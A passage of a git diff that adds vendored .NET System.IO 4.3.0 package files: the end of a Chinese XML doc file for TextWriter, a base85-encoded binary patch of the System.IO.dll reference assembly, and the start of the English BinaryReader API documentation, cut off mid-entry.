表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元陣列。如果字元陣列是 null，則只有行結束字元會被寫入。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始擷取資料的字元位置。 + 要寫入的字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果值為 null，則只會寫入行結束字元。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.5/System.IO.dll b/packages/System.IO.4.3.0/ref/netstandard1.5/System.IO.dll new file mode 100644 index 0000000000000000000000000000000000000000..ddd816f645b552c98870e5030da2448f0ee46325 GIT binary patch literal 30528 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 literal 0 HcmV?d00001 diff --git a/packages/System.IO.4.3.0/ref/netstandard1.5/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.5/System.IO.xml new file mode 100644 index 0000000..e011350 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.5/System.IO.xml @@ -0,0 +1,2151 @@ + + + + System.IO + + + + Reads primitive data types as binary values in a specific encoding. + 2 + + + Initializes a new instance of the class based on the specified stream and using UTF-8 encoding. + The input stream. + The stream does not support reading, is null, or is already closed. + + + Initializes a new instance of the class based on the specified stream and character encoding. + The input stream. + The character encoding to use. + The stream does not support reading, is null, or is already closed. + + is null. + + + Initializes a new instance of the class based on the specified stream and character encoding, and optionally leaves the stream open. + The input stream. + The character encoding to use. + true to leave the stream open after the object is disposed; otherwise, false. + The stream does not support reading, is null, or is already closed. + + or is null. + + + Exposes access to the underlying stream of the . + The underlying stream associated with the BinaryReader. + 2 + + + Releases all resources used by the current instance of the class. + + + Releases the unmanaged resources used by the class and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Fills the internal buffer with the specified number of bytes read from the stream. + The number of bytes to be read. + The end of the stream is reached before could be read. + An I/O error occurs. + Requested is larger than the internal buffer size. + + + Returns the next available character and does not advance the byte or character position. + The next available character, or -1 if no more characters are available or the stream does not support seeking. + An I/O error occurs. + The current character cannot be decoded into the internal character buffer by using the selected for the stream. + 2 + + + Reads characters from the underlying stream and advances the current position of the stream in accordance with the Encoding used and the specific character being read from the stream. + The next character from the input stream, or -1 if no characters are currently available. + An I/O error occurs. + The stream is closed. + 2 + + + Reads the specified number of bytes from the stream, starting from a specified point in the byte array. + The number of bytes read into . This might be less than the number of bytes requested if that many bytes are not available, or it might be zero if the end of the stream is reached. + The buffer to read data into. + The starting point in the buffer at which to begin reading into the buffer. + The number of bytes to read. + The buffer length minus is less than . -or-The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + + is null. + + or is negative. + The stream is closed. + An I/O error occurs. + 2 + + + Reads the specified number of characters from the stream, starting from a specified point in the character array. + The total number of characters read into the buffer. This might be less than the number of characters requested if that many characters are not currently available, or it might be zero if the end of the stream is reached. + The buffer to read data into. + The starting point in the buffer at which to begin reading into the buffer. + The number of characters to read. + The buffer length minus is less than . -or-The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + + is null. + + or is negative. + The stream is closed. + An I/O error occurs. + 2 + + + Reads in a 32-bit integer in compressed format. + A 32-bit integer in compressed format. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + The stream is corrupted. + + + Reads a Boolean value from the current stream and advances the current position of the stream by one byte. + true if the byte is nonzero; otherwise, false. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads the next byte from the current stream and advances the current position of the stream by one byte. + The next byte read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads the specified number of bytes from the current stream into a byte array and advances the current position by that number of bytes. + A byte array containing data read from the underlying stream. This might be less than the number of bytes requested if the end of the stream is reached. + The number of bytes to read. This value must be 0 or a non-negative number or an exception will occur. + The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + An I/O error occurs. + The stream is closed. + + is negative. + 2 + + + Reads the next character from the current stream and advances the current position of the stream in accordance with the Encoding used and the specific character being read from the stream. + A character read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + A surrogate character was read. + 2 + + + Reads the specified number of characters from the current stream, returns the data in a character array, and advances the current position in accordance with the Encoding used and the specific character being read from the stream. + A character array containing data read from the underlying stream. This might be less than the number of characters requested if the end of the stream is reached. + The number of characters to read. + The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + The stream is closed. + An I/O error occurs. + + is negative. + 2 + + + Reads a decimal value from the current stream and advances the current position of the stream by sixteen bytes. + A decimal value read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads an 8-byte floating point value from the current stream and advances the current position of the stream by eight bytes. + An 8-byte floating point value read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 2-byte signed integer from the current stream and advances the current position of the stream by two bytes. + A 2-byte signed integer read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 4-byte signed 